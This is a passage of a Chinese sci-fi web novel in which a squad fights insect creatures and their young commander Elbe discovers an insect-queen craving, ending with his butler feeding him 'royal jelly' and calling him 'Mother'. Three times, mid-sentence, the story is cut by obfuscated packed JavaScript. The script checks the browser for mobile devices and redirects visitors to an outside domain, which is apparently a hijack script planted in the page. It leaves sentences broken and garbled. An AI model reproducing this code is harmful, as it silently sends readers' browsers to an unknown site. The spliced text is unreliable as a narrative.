在平均身高能达到一米九的前锋一队里艾尔贝往中间一站就像是一个凹下去的槽,看着他艾克就想起自己像他这么高的时候确实还是个面对大雪只会激动大喊然后开始呼朋唤友一起打雪仗的小孩子。 卡修斯听见他说的话只是很冷漠地斜视他一眼。 “管好你自己。” “……” 艾克有些自怨自艾地想着:和你们这些没有人情味儿的人根本就什么也说不明白。 侦察员伍兹一直走在队伍的最前方,这时手腕上的智脑忽然发出滴滴的警报声,停下的脚步的动作拦住了在他身后的所有人。 “收到简讯,前方针叶林区域内有虫族活动的踪迹,据探测器显示分析数量将不少于四只。队长,是否选择绕路?” 艾克崴了崴手腕,骨骼发出吱呀的碰撞声,随后抽出身后的的双把刀迈开步子走在前面。 “杀一只是杀,杀四只也是杀,反正迟早都是要解决的,这种白送上门的表现分为什么不要?” “我来带路,准备战斗。” 进入这片森林后又是另一番景象,外围高大的风墙将这里从暴雪的范围中隔离成一片稳定的“风眼”,越往里面走能见度就越扩大,中心位置将近有三十米的可见范围。 短暂的晴朗天气让习惯了在暴雪中战斗的众人竟有些不适应,他们警惕地观察每一片灌丛,想从中探寻出虫族的行动痕迹。 针叶林的叶片往往都比较小,它们能给虫族提供的隐蔽不多,在经过树林中段的时候艾尔贝听见头顶上传来树枝断裂产生的细祟声响。 他抬起头,银白的瞳孔看向天空,就算是零星的纯白雪花落在他的眼睫上竟也会被这对眼睛衬得有些灰暗。 艾尔贝紧紧地盯住树冠上不停穿梭的身影,随后抽出一直被他挂在腰间的枪,它被命名为“苍兰之誓”。 “砰!” “我艹,怎么突然对着天上开一枪,我们又不是来打鸟的!” “队长小心!” 艾克还没有意识到危险即将降临就突然被伍兹扑上来一把推开,他刚刚站着的那块土地在接下来的一瞬间被从树冠上掉落的一大团雪淹没。 若不是有伍兹的及时帮助估计现在已经被淋成一个雪人了。 “有一只长着透明长翅的虫族在我们上空,估计是从我们进林子的那一刻起就一直在头顶上跟踪我们了。” 艾尔贝收起苍兰之誓跟他解释:“它的速度太快了,应该是蜓系虫族。” 所有的蜓系都能在正常情况下依靠它们精密的复眼来观测周围所有枪弹攻击的轨道,躲避成功率几乎高达百分百,所以刚才艾尔贝发射的那一枪也没能打中它。 “怪不得我们一直走了这么久都还没有见到伍兹说的几只虫子,原来是它们有情报员在通风报信。” 艾尔贝刚刚那一枪惊动了它,等艾克再抬头看的时候天上已经是空无一虫。 “继续往前走吧,它们应该会主动来找我们。” 10.第九章 因为被密集的植物群覆盖树林深处的湿度明显升高,他们推测在从前气候没有转变的时候这里应该是一片雨林,地上甚至还有许多死去的藤蔓枯枝。 越往里走路越狭窄,因为长期没有人通行护理的缘故,他们原本走的这条路基本上都被新生的植物覆盖,往后每走一步都需要让卡修斯用镰刀来开辟下一个落脚点。 高空中的厚重云层遮天蔽日,剩下那些微弱的光就很难再透过这密集的树丛照亮地面,搞得他们几乎都快要看不清路了。 「滴答」 「滴答」 …… “你们听见了吗,有水声。” 艾克在一旁安慰他:“应该这里某处石缝中流动的溪流吧。” “像树林这种类型的地方出现这种声音是再正常不过的现象。” 伍兹没有被艾克给出的解释说服,他小心翼翼地抬起头观察着周围,想要找到这突然浮现的声音来源,可是在这种黑暗的环境下他能看清的范围不大,只能看见在他身后这几个人的脸。 艾尔贝听着他们两的对话发出了一个疑问: “可那是在一般情况下吧,如果以现在这个温度来看……水难道不会结冰吗?” 他的话音刚落,队伍里顿时变得一片死寂。 一滴水珠再次落下滴在艾克戴着黑色皮革手套的腕上,他缓缓抬起头—— 措不及防地与一双赤红的双瞳对上。 下一秒这种悬挂在银白蛛丝上的雪蜘蛛猛地伸出前肢企图刺穿眼前的猎物,幸运的是艾克反应速度足够快,他在这一瞬间突然往身后倒去,擦边躲开了这次的攻击。 差一点,就差一点他的整颗心脏都会被蛛刺贯穿,艾克躺在地上心惊胆战地大口喘着气,想要从方才的惊慌中平复下来。 巨大的蜘蛛悬挂在他们的头顶,它通体雪白的身躯隐藏在雪幕之中,趴在被雪覆盖的表面足以让所有人都很难察觉到。一张庞大的蜘蛛网缠绕在周围的树干上,若不是它吐丝时附带的毒液掉下来引起侦察员伍兹的注意,说不定艾克此时就已经命丧毒手了。 被发现后它快速操纵丝线再次回到蛛网上,艾克连忙站起来躲开了下一秒从它的嘴里喷射出的毒液,这次的分量可不止一开始撞见的几滴那么少,一大摊黑色的液体落在刚才艾克躺的那块地衣上,原本葱绿色的地衣瞬间枯萎,开始冒起黑烟。 “艾尔贝,小心你的后面!” 一只巨大的拟态甲壳虫不知什么时候出现在他们身后,他在黑暗中悄无声息地接近队伍,并在被发现的一瞬间立刻用钳刺向一直站在后方的艾尔贝。 “铮!” 锋利的黑色钳爪被一把突如其来的镰刀挡住,卡修斯挡在艾尔贝的身前,替他接下了这一击。 “卡修斯,小心!” 通过观察这只拟态甲虫矫健且更偏向于人类的身躯,艾尔贝可以推断出这绝对是目前为止他们所遭遇过战斗力最高的一只虫族。 卡修斯将镰刀翻转,用合金制成的柄卡住这只虫子对他刺出的另一只钳。 这时一把刺刀突然从拟态虫族的背后出现,用力插进了它未被甲壳保护的肩胛,它吃痛收回了双钳并迅速从两个人的包夹中脱离,随后再次隐匿到周围的环境中。 “卡修斯,那只蜘蛛就交给你去解决吧。” 艾克捡起被拔它出后掉在地上的刺刀。 “剩下我们来对付这只甲壳虫,毕竟以我双刀近战的方式更能克制他。” 可情况哪有他说的这么容易,如果说刚才的雪蜘蛛是融入这些相同颜色的表面才会让他们难以察觉。那么这只拟态甲虫则是完全是依靠通体黑色的身躯,就像一只影子游荡在四周,在这种彻底昏暗的地方他们凭借肉眼甚至看不清对手在哪个方位。 卡修斯在听见他的话后没有反应,而是选择了继续留在原地站在艾尔贝的身边。 “怎么了卡修斯,你应该更擅长对战这种……” “我需要和艾尔贝在一起。” 艾克的话还没说完被卡修斯用冰冷的话语打断: “我不认为你们能保护好他的安全。” “什么?!” 被他这么一质疑艾克脸都气得憋红了,他刚准备走过去找这个傲慢的队员好好理论一番就被艾尔贝拦住:“好了。” 从出任务起就一直被当作小队吉祥物的指挥官艾尔贝看向队伍里正在争吵的两个主战力: “我可以保护好自己。” “卡修斯,就按艾克说的来吧。” 这只后面才出现的甲壳虫的拟人形态早已与正常的人类没有区别,比起他们之前所见到的那些数量较多但是却只会采取正面进攻方式的低等虫族,这只拟态甲壳虫明显有着更为敏捷的行动和思考,它甚至懂得如去利用周遭的地形藏匿自己,再趁艾克找的晕头转向的时候突然发动攻击。 “可恶!” 如果是正面进攻的话艾克加上剩下的队员或许还能跟它打一个五五开,但现在是在这种只对虫族有利的黑暗环境里,作为人类的他们战斗力都会大打折扣,他本人也已经开始节节败退了。 “艾克,让我连通你的精神网!” 艾尔贝举起手中的苍兰之誓射出一发子弹替他挡下了那只虫族刚才从他身后发出的攻击。 此刻的艾克被消耗了这么久,身体早已是强弩之末,他不得不接受艾尔贝的指挥。心想反正情况已经不能更差了,干脆就死马当作活马医吧。 “好!” 一阵丰沛的精神力落在他的精神网上,艾克感觉自己的身体似乎正在被一股温暖的水流滋养,顿时力气都恢复了不少。 “在你的左后方。” 艾尔贝的声音出现在他的脑海中,反应过来之后他便立刻举起短刀刺向自己的左后方。 “嘶!” 那只拟态虫族在黑暗中发出受伤的嘶吼声,即使现在艾克什么都看不清但也能猜到它绝对是被自己的这一刀刺中了,虽然不是什么致命伤,但也够它缓上好一阵子。 但他没预料到的是在被自己重创后这只甲壳虫居然还会像发疯了一般再次冲上来。 在艾克差一点就要被甲壳虫扑倒的时候,艾尔贝举起苍兰之誓再次对准它开了一枪打断了它的攻击,又用联通的精神网警示艾克: “不要放松警惕!” 艾克顿时惊讶地看向艾尔贝:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137013|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在指挥我吗?为什么还能自己行动?” 短时间内精神力大量的消耗让艾尔贝有些吃不消,他用虚弱的声音快速向艾克解释:“指挥官足够强大的话便可以从你的视角以及我的视角一起来观测敌人的行动,用这种方式就算他速度再快也无法同时兼顾多方的攻击。” “趁我的精神力没有流逝殆尽,我们抓紧用这种前后夹击的方式来击败他。” “哦哦,好厉害的策略!趁它现在的状态不好我们可以主动进攻了,你能坚持住就行!” 有了艾尔贝的指引后艾克能在每一时刻都及时发现它的行踪,每当他刺向那只虫族的正面刀被挡住后艾尔贝都会在身后补他一枪。很快这只拟态虫不敌他们二人的组合对战,在多次受击后行动速度便开始明显变得迟缓,因为没有足够的精神力支撑。 况且慢慢的它的意识似乎与它的身体发生了割裂,就好像是发生了人类之间那种常会发生的争吵一般,它在进行某些行动的时候竟出现了迟疑的情况。 那双原本赤红的双目逐渐变得黯淡,它的意识也不够集中,在这样的限制下再强大的身躯也无法继续发挥出全部的实力。 「嘶嘶」 「母亲……」 等到艾克一刀插进虫腹并将它按在地时它已经彻底放弃了抵抗,在这一刻它仿佛是有了自己的思想一般忽然抬起头,就这么平静地注视站在艾克身后的艾尔贝。 在场的所有人都无法理解它的这个行为,包括艾尔贝。 “它这是怎么了?” “不知道,我以前从来没有遇见过这种高等级的虫族。” 伍兹查阅资料,作为整个过程的目击者他对这只虫族奇怪的表现也感到非常好奇,可惜最终什么也没查到。 “虫族会不会也有自我意识?” 艾尔贝蹲下来,看着它那双已经转变成黑红色的瞳孔,询问道:“它知道自己正在经历什么吗?” “嘿!亲爱的艾尔贝离它远一点,小心它身体里流出的那些恶臭的内脏,你这身贵重的衣服一看就不好清洗。” 艾克正一手捏着鼻子,一手不停地抓起地面上没被污染的雪来清洗自己的战甲,刚刚插进虫腹的刀被用力搓洗了好几次还在散发着让他感到恶心的气味。 可艾尔贝对此似乎并不反感。 “它还活着吗?” “嘶,嘶……” 拟态虫用微弱的叫声亲自回答了他的问题,同时许多猩红的血块顺着它被刀锋划开的伤口掉出来,在场的所有人都别过脸去,不想看这令人反胃的一幕。 艾尔贝却始终蹲在一旁盯着它们看。 与正常人的体验相反,他看着这些已经被低温凝结的血肉,竟感受到了前所未有的渴望,自己也不知为何嘴里竟会情不自禁开始分泌口水。 他看着摆在眼前的虫族之躯,一股禁忌的思潮逐渐浮现于脑海:吃掉它。 吃掉它,吃掉它…… “你怎么了?” 眼前不停晃动的手让艾尔贝从失神中苏醒,他被艾克强行搀扶着站起来。 “是不是因为精神力损耗太大身体开始变得虚弱了,还能走吗?用不用我背你?” 11.第十章 艾克拿出放在包里的基因锁去套住这只拟态虫族的脖子,伍兹站在他身边用随身携带的移动光源替他打光。 “不得不说这家伙看上去是真恶心。” 在手电筒的光照下他们终于能彻底看清这只虫族的外表,在与它对峙的这十一秒中艾克觉得自己的眼睛受到了不可磨灭的伤害,恶心,惊惧,压力以及一些其它的反感情绪。 非人类的生物无论怎样努力向着人类的方向同化也永远无法变成一个真正的人类,事实上,它们的外表演化的越像在人类的眼中反而更恶心和怪异。 这只拟态虫族就是一个很好的例子,即便它已经完美地演化出了人类的四肢甚至皮肤肌理,但那一层薄薄的外表皮下始终蠕动的血肉彰显出它作为虫族又必不可少的结构。 艾克在仔细看清楚后恐怖谷效应差点都要犯了,他赶紧捂住嘴防止自己当众吐出来。 “好了好了快把灯关上吧,再这样看下去我的大脑就快要把眼睛的位置告诉免疫系统了。” 听见他的话后伍兹立刻就关上电源,随后把手电筒小心地装回后背包。他本以为这次出行只是个单场任务就没有携带太多的能源电池,为避免接下来还会再遇到这种情况还是尽量省着点用好,做好这一系列动作后伍兹转头看向被艾克禁锢住的敌人。 除去最开始回应艾尔贝的呼声,这只拟态虫族就没有再发出过什么动静,但它的视网膜时不时还在颤动,昭示着它意识尚存。 “这家伙怎么处理,我看它好像还没死透。” 伍兹打开智脑翻阅军部官网,他的视线最终停留在军功奖赏的页面:“把它带回去上交吧,活体俘虏尤其是像这样的高阶虫族价值很高,预计交上去后我们能拿到不少于两万的功勋积分。” “好。” 艾克牵起锁链:“去看看卡修斯那儿怎么样了。” 另一片战场同样深陷于黑暗之中,一行人赶过来的时候正巧看到卡修斯收回武器,巨大的雪蜘蛛被赤红色的镰刀砍断八肢,变成了一只没有任何战斗力的“虫彘”。 原本支撑着巨大蛛网的乔木被砍断,雪蜘蛛赖以生存以及进攻防御的堡垒就此崩塌,它掉落在地面上,巨大的中躯失去了肢体的支撑后即使被翻过来躺在地面上也无力再恢复成正常的姿势。 巨大的白色腹部正好对准了赶来的小队成员,艾克站在最前面甚至能看到上面不停摇摆的触毛。 瞬间他就理解了卡修斯的做法,毕竟谁也不想被虫腹里喷洒出的蜘蛛浆沾染一身恶心的气息。 “这些虫子真是一个比一个恶心,回去之后我真得好好洗一下眼睛了。” 艾克牵着拟态虫带着队伍走过去找卡修斯汇合,这时艾尔贝从队伍中间钻出来,率先跑到卡修斯身边,他踮起脚贴着卡修斯的耳朵说了几句悄悄话,随后又用亮晶晶的眼睛盯着对方,眼神中满是期待。 “我知道了。” 卡修斯安抚地摸了摸艾尔贝的后背,然而他的手正巧按压到了艾尔贝掩盖在衣服下的膜质翅,这突然传过来的隐秘体感吓得艾尔贝差点叫出声,随即他就有些不悦地拍开了卡修斯触碰他的的手。 “你们两个在当着我们面在说什么悄悄话,话说艾尔贝,你现在恢复的怎么样了? “稍微好上一点了,没有最开始那么虚弱。” 卡修斯打断他们两个的对话:“既然主要的敌人目前都已经解决现在就离开这里归队述职,我带着艾尔贝先走了,他需要好好休息。” “啊?那好吧,路上注意安全。” 不过对于艾尔贝来说只有卡修斯在身边的话似乎要比带着几位累赘要更安全,艾克闭上了嘴。 “这个要一起带回去换积分吗?” 伍兹倒是不在意艾尔贝和卡修斯提前离开的行为,他自顾自地扫描倒在地上的雪蜘蛛,与官网报价对比了一下后说:“残缺成这样也能换个五千分左右,队长,你还背得下吗?” “滚。” 摩多利星上的皑皑白雪覆盖了大半个陆地,一路上除了铺天盖地的白色外艾尔贝什么也看不见。 “就像白巧一样,你觉得呢?”艾尔贝用指尖抵住嘴唇,他整个人正被卡修斯紧紧抱在怀里以极快的速度往回赶:“我想吃冰山熔岩。” 可这一路上连人都没碰见一个,就更别说什么甜品店了。 “我好饿……” 细长的指尖划过卡修斯胸前的护甲,艾尔贝现在满脑子都是那只拟态虫族,还有它那被艾克看了直呼恶心的躯体。 从与它对视的那一眼起艾尔贝就被勾起了一阵挥之不去的食欲,从它未被处理的伤口散发出了奇异的香气,艾尔贝能分辨出那并不是腐肉的味道,而是一种象征着食物的独有气息。 尤其是艾克还一直牵着它在艾尔贝眼前晃来晃去,他差点都快要控制不住自己的行为,所以在看到卡修斯后立刻跑过去跟他说自己想先行离开,否则继续与那只虫族同处一个队列所经历的诱惑对艾尔贝来说就像一种折磨。 可让他始终都想不明白的是为什么自己会有这种心理,这太怪诞了,根本就不是一种健康的反应。 艾尔贝想控制自己去忘记那个画面,忘记他对虫子躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186644|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体产生的那股欲望,可饥饿却在这个环节中始终如影随形。 “或许我只是饿了。” “对,只是饿了。” 他们到基地的时候正巧错过了统一组织的晚饭时间,卡修斯作为作战队的小队长需要先去给上司汇报本次出任务的情况,而担任指挥副手艾尔贝直属上司只有艾德里安,一般这个时间艾德里安都会忙于检查成果以及部署明天的任务,所以艾尔贝便独自一人前往餐厅想先去解决一下果腹问题。 这个时间段餐厅的人都陆陆续续地走完了,不过好在剩下的食物还有不少,大多也都是由厨师后面新做好的。 艾尔贝叉起盘中的食物就往嘴里塞,比起平时进食的习惯他现在的吃法要更为急切,一般人只有在很饥饿的情况下才会吃这么快,然而他手边垒起的盘子足以摆成一座小山。 不够,不够,这些都远远不够。 强烈的空虚感从胃部蔓延至全身,吞噬了其他所有的念头,吃下去的所有东西好像掉进了无底洞,对这幅身体没有任何的反馈。 可他端过来的食物都已经被吃完了,艾尔贝只好再去再去挑选一些过来。 不巧的是现在已经过了后厨当值的时间,现在一个厨子都没有,原本剩下的那些饭菜也都被处理掉了,唯一能找到的就只有为明天准备的新鲜未处理过的食材。 正遗憾地转身准备离开时,他的眼睛突然扫到了摆在餐桌砧板上的一块被简单裁切过的生肉。 那是一块厚切的肉排,肌理分明,深紫色的肌肉纤维间镶嵌着如雪花般的脂肪。然而最为触目的是那深邃的,近乎黑色的中心,以及从那里缓缓渗出到砧板上积蓄成一汪微小湖泊——浓稠而明亮的血渍。 很快艾尔贝不受控制地朝它走过去,他的手摸上那一滩血渍,原本清透的瞳孔都被染上了猩红色,他没有使用刀叉,而是用修长苍白的手指将这块肉轻轻拈起,动作轻柔得像在拾起一片花瓣。 肉被送至嘴边,他没有撕咬,而是以一种近乎矛盾的姿态,用牙齿精准地切入那柔软的肌理,却又始终不肯真正完成下咽。 吃下它,就可以缓解饥饿了。 这种感觉又回来了,今天在面对那只受伤的拟态虫族时艾尔贝脑海中就浮现出了与此时相似的冲动。 他垂眼看着手中的肉块,仿佛这已经不是什么正常的牛羊肉或是其它的食用肉,而是从那只虫族身上割下来的一块肉,撕咬它的同时,艾尔贝想的却是自己正在撕咬那只虫族。 最终饥饿战胜了理智,他将这一整块带着血渍生肉吞咽下去,可他还是觉得不够。 12.十一章 艾尔贝踩着雪白的短靴穿过基地冰冷的金属走廊,胃里的空洞感非但没有被那些吃下去的食物填满,反而燃烧得更加炽烈。 他从未想过自己有一天会以一种失控的姿态吞下一块生肉,作为受到良好教育的精英子弟,这样野蛮的行径是连他自己也无法接受的。 指尖还残留着生肉块的血腥气息,那气味竟诡异地安抚他躁动的神经,却从另一方面却让他感到恐惧。 他必须知道为什么。 为什么那只拟态虫族会让他产生如此怪诞的食欲? 为什么在那么多种食物中只有那块带着血渍的生肉能短暂地缓解他的饥饿? 可目前从他所有的经历所能找到的唯一的较为明确的线索就只有那一个——那只被他们打败后露出血肉内里的虫族。 疲惫像一件浸透了水的羊毛外套裹压着他,在这种饥饿状态下他的脚步开始变得沉重。 但有一种更为强大的冲动始终推动着他走向这条长廊的最深处的那间被临时改建的,负责关押被他们带回来的这只特殊俘虏的牢房。 虽说是短期内临时改建,但它从前就是存放贵重物品的房间,一直以来都被严加看管,房间门被基因锁牢牢锁住,唯有达到一定的权限才有资格进出。 这间房的探视窗由特制的纤维玻璃制成,清晰度很高,且很难被外力破开,艾尔贝将手掌贴在冰冷的玻璃上,踮起脚向内望去: 那只拟态虫正被特殊的合金枷锁固定在牢房中央,它拟态出的类人形态似乎因重伤以及能量即将耗尽而难以维持,透过窗艾尔贝能看见它的皮肤呈现出了一种半透明的质感,隐约可见其非人的内部结构。 它低垂着头,发出断断续续,不明含义的嘶鸣。 艾尔贝的呼吸骤然急促,从再次见到它那一刻起,便感到牙齿发痒,唾液也不受控制地开始分泌。 因为军队的统一服饰尺寸对于他来说都比较大,所以艾尔贝身上的指挥官披风还是艾德里安暂时用自己的某件披风亲手为他改制而成的。上面还挂着彰显艾德里安总指挥官身份的鎏银徽章,现在还正好为他带来了机会。 他取下这枚徽章,上面事先录用了艾德里安的基因,徽章一碰到这枚基因锁便响起了一阵悦耳的铃声,很快锁就自动打开了。 艾尔贝眼里闪过不明的情绪,他的手放在门上犹豫好一会终于还是选择了推开它,随后迈着轻柔的脚步走进去。 牢房内那只拟态虫族在这一刻仿佛感应到了他的到来,它缓缓抬起了头,虽然重伤状态下复眼都已经失去了焦点,却还能精准地“望”向艾尔贝的所在位置。 它停止了从被关押起便一直持续至今无意义的嘶鸣,而是抬起抬起上颚,用一种极端虚弱却又异常清晰的语调继续不停地开始重复一个艾尔贝能听懂的词: “母亲。” “母亲,母亲……” 艾尔贝浑身一僵,此刻这只拟态虫族的表现已经完全颠覆了他从前对虫族的一切认知。 然而到目前为止都还没完,因为下一秒更令他震骇的事情发生了:这只虫族抬起自己一只未被完全禁锢的前肢,随后没有丝毫犹豫地用那锋利的尖端猛地刺向自己那逐渐变得半透明的胸膛! 霎时间粘稠的血液再次喷涌出来,空气中浮现起一股奇异的信息素,且这股对艾尔贝来说十分诱惑的气息浓度在接下来的时间内迅速飙升。 对此刻艾尔贝而言,那不再是令人作呕的虫族信息素,而是世界上最美味的珍馐散发出的绝顶香气,直接作用于他最原始的神经中枢。 拟态虫仿佛感觉不到痛苦,它用颤抖的肢尖探入那道被自己划开的长条伤口中,小心翼翼地从内里捧出了一团尚在搏动又散发着浓郁香气的血块。 它将这摊烂肉捧向艾尔贝,仿佛献上最虔诚最珍贵的贡品,声音气若游丝,却充满了某种强烈又扭曲的满足感:“母亲…感受饥饿……不可以…请吃……” 轰—— 名为理智的弦在这一刻被崩到极致,艾尔贝的视野边缘泛起血红,看着眼前这一幕,他全身的每一个细胞都开始疯狂叫嚣。 饿,饿,好饿…… 一直得不到满足的胃传来强烈地灼痛,敦促他去接受这位狂热信徒的赠礼。 不行,不行…… 他的手指死死抠住金属门框,指甲几乎崩裂,身体因极致的渴望和抗拒而剧烈颤抖。 那团珍馐近在咫尺,它散发着无与伦比的诱惑。 吃下它吧。 艾尔贝知道,如果真的吃下它,那么一直折磨着他的,那股焚心蚀骨的饥饿感将会彻底得到平复。 但就在最后一刻,他始终残存的理智穿透了似乎散发自本能的迷雾,带他看透眼前这一切的本质: 一只正在自我肢解的虫族,将他称为“母亲”,后并邀请自己去食其血肉。 这个真相带来的惊悚感和抗拒心理成功压制住食欲,艾尔贝猛地向后退去,像一只被惊吓过度的猫一般飞速逃离这间关押邪恶牢房。 被使劲关上的门最终将那只保持献祭姿态的拟态虫族和它那一声声微弱的“母亲”呢喃彻底掩埋在无人的角落。 原本一直以来都被收拢在背后的透明薄翅对此刻大脑处于一片茫然之中的艾尔贝来说存在感强到不容忽视,它熨帖着艾尔贝的皮肤,也灼烧着他的理智。 拟态虫一声声呼唤的“母亲”和它那近乎自戕献祭的画面再次浮现,与这对莫名出现的翅膀在他脑海中交织,最终形成一个可怕而荒谬的猜想。 不,不可能。 他明明是人类,是在人类社会中长大的,是接受一切如何去对抗虫族教育的,即将踏入军部任职的指挥官! 回到居所的那一刻他几乎是立刻扑向自己的床铺,随后手指颤抖着在智脑上输入一系列关键词:“人类异常器官增生”,“不明原因翅状结构”,“拟态虫族生理机构”等等。 巨量信息瞬间涌现,从冰冷的医学论文到光怪陆离的星际传闻,艾尔贝疯狂翻阅这些文字,比对每一则收集到的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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胃部的空虚以及精神上的恐慌促使艾尔贝最近的每一个晚上都出现了失眠的现象,身体疲惫到就连此刻面对艾德里安的疑问,他想说出什么来安抚艾德里安都感到有些力不从心,最终还是保持沉默。 查理斯不与他们一同住在军事基地,他自己又在外面找了个临时住所,甚至还很有情操地打造了一个散发着花朵馨香的室内花园。 艾尔贝被他邀请过来喝下午茶,桌面上的银质茶具闪烁着柔和的光泽。 花园内装上了恒温系统,查理斯一如既往地穿着他那一身笔挺的管家制服,动作仔细认真地为自家小少爷斟上香气醇厚的红茶,随后又端上来几盘比较贴合艾尔贝口味的精致点心。 “你看上去很疲惫,小少爷。”查理斯微笑着注视着艾尔贝,声音温和而又低沉。 “可我向我诉说你的苦恼,我很乐意解答你的一切疑虑。” 可艾尔贝只是心不在焉地拿起一块司康饼,却又依旧用毫无食欲的眼神看着它,始终不肯真正动口去品尝这道从前喜爱的糕点。 查理斯见此轻轻放下茶杯,发出一声几不可闻的叹息,那双深邃的金色瞳孔仿佛能看透艾尔贝在他面前刻意隐瞒的所有秘密。 “让我猜猜,你现在的困扰并非来源于这场战争,而是源于你自身出现的异常,对吗,艾尔贝?” 13.十二章 “有些饥饿,并非寻常的食物能够平息。” 查理斯声音低沉,他贴近艾尔贝的耳朵,说出的话带着蛊惑人心的韵律:“它源于血脉,或许还在呼唤着某些特定的滋养。” 艾尔贝心中一紧,下意识地想要后退。 但查理斯接下来的动作却让他完全呆滞,他用冰凉的指尖轻柔不容抗拒地托起艾尔贝的下颌,艾尔贝瞪大双眼,想要挣扎,却发现自己已经完全被查理斯困在怀中不能动弹,只能眼睁睁看着那张熟悉的脸庞不断贴近。 查理斯再次开口,说出的话带着一种古老却又非人的韵律:“艾尔贝,饥饿从来都不是一种罪过,事实上,拒绝本能才会真正伤害到你,只怪我们太过于无能,而你的强大需要这些奉献……” 最后的几个字模糊不清,趁着艾尔贝琢磨着尚未反应过来时,查理斯的脸庞已然靠近。 这并非一个充满情欲的吻,更像是一种……仪式? 查理斯的唇瓣微凉,紧接着一种难以言喻的柔软的却极具存在感的器官——那仿佛蜂类微微弯曲的细长口器精准地撬开艾尔贝因震惊而微张的唇,随后又强硬地探入他的喉咙深处。 随即一股极其粘稠,冰凉却又散发着极致浓甜香气的液体,顺着查理斯不知从何而来的奇异口器渡入了他的食道。 是蜜。 但这绝非当前宇宙间所有市面上人工培养的蜜蜂所能酿造出来的。 这股蜜仿佛拥有了生命,如同甘霖一般瞬间抚平了艾尔贝胃里灼烧的饥饿之火,带给他一种难以言喻的,源自灵魂深处的满足。 甚至好像还带来一丝细微的,令他昏昏欲睡的愉悦,虽然与他不久前吞咽生肉块时获得的短暂慰藉相似,效果上却比它更强烈,更纯粹,更有效上百倍! 但这极致满足带来的并非全然放松,相反,整个过程为艾尔贝带来的是汹涌的惊悚感。 面前上演的这一切怎么可能是真实发生的呢……查理斯不是人类? 那他是什么? 他正在对自己做什么? 艾尔贝浑身颤抖,喉间被异物侵入所带来强烈的生理性不适和巨大的惊骇令他忍不住想要干呕。 “唔——!” 他用尽全身剩下的所有力气猛地偏开头,挣脱了这诡异的哺喂进程。 唇边还残留着一丝晶莹的蜜糖,艾尔贝剧烈地咳嗽起来,眼神中充满了难以置信。 查理斯见状没有再继续强迫他继续这个过程,微微松开了手臂。 艾尔贝则是趁此机会将他一把推开,随即踉跄着后退,身体终于再次夺回了自主权,但却仍然还保留着一丝被强行满足后残存的生理性战栗。 查理斯被推开后却依旧站得笔挺,他轻轻抹去唇边残留的蜜,用很复杂的眼神看着艾尔贝,那目光中有恭敬,有怜悯,更有一种……看待稀世珍宝般的狂热。 “愿这‘王浆’能暂缓您的渴求,‘母亲’……” 他低声呢喃,这次艾尔贝听清了。 母亲?! 艾尔贝如遭雷击,最后一丝残存的理智现在也彻底崩断了,他停下了一切思考,唯一念头就是逃离! 就像一只被恐惧惊吓到的幼兽,艾尔贝转身推开挡在身后的其它桌椅,甚至都顾不上要捡起方才因惊吓而戴不稳掉落在地的指挥官帽子,头也不回地冲出这片被查理斯亲手布置的“温馨”花园。 他的心跳如擂鼓,胃里的“王浆”始终温暖又灼烫,仿佛时时刻刻都在提醒着一个让他无法理解也无法接受的“真相”。 在艾尔贝离开花园后,查理斯慢条斯理收拾着小少爷慌乱之中造成的残局。 忽然,他的动作一顿。 因为此时脖颈处突然传来不容忽视的,极度锋利的触感。 一柄由手臂化成闪烁着不祥红光的巨大镰刀悄无声息地架在了他的颈侧,只要再稍微深入一分便能轻易割开他的喉管。 卡修斯冰冷的声音在他的身后响起,带着毫不掩饰的杀意:“你吓到他了。” 查理斯脸上则露出了果然如此类似的释然表情,他甚至都没有回头,语气中透露出一分坚持: “母亲现在进入了很重要的发育阶段,直到发育成熟这期间他需要摄入巨大的能量,而仅仅依靠人类吃的食物对他而言只会是杯水车薪。” “但你明明可以换一种方式。” 查理斯轻轻摇头: “历代蜂系灵嵌虫侍奉虫母时皆会用口器将精心酿制的‘王浆’渡给母亲,这不仅能补充营养,更重要的是其中蕴含着独属于蜂系独特的信息素,能温和刺激艾尔贝体内虫母血脉觉醒,同时安抚发育带来的精神躁动。可一旦王浆离体在外静置过久便会迅速挥发失效,最后变得与普通的蜂蜜无异……” “这是现在最快也是最有效的方式。” “我早就预料到你会指责我不该这么做,但……”查理斯顿了顿,声音突然又低了下去:“现在这种情况下,你也找不到比我更好的做法,不是吗?” 话音刚落他就感受到颈侧的镰刀又逼近了一分,冰冷的锋刃几乎要嵌入他的皮肤。 卡修斯沉默着,几乎要凝为实体的杀意与查理斯无畏坦然的态度在空气中无声交锋。 最终,那柄镰刀被卡修斯撤开,如同刚出现时一般再次悄无声息地消失。 “没有下次。” 卡修斯留下最后的警告,紧接着他的气息随即又消失温室内消散。 查理斯缓缓抬起手轻轻抚过颈侧那道细微的血线,低头看着指尖上染上的那点猩红,金色的眼瞳中弥漫着复杂的心绪,最终又都化为了一声几不可闻的叹息。 从小就陪在自己身边无微不至的管家突然展现出令自己也难以置信的一面,艾尔贝的内心十分纠结,近期在他身上所发生的一切都太超过了,即便他一直自欺欺人地安慰自己这些都很正常,翅膀而已,吞食生肉而已,都没什么值得害怕的。 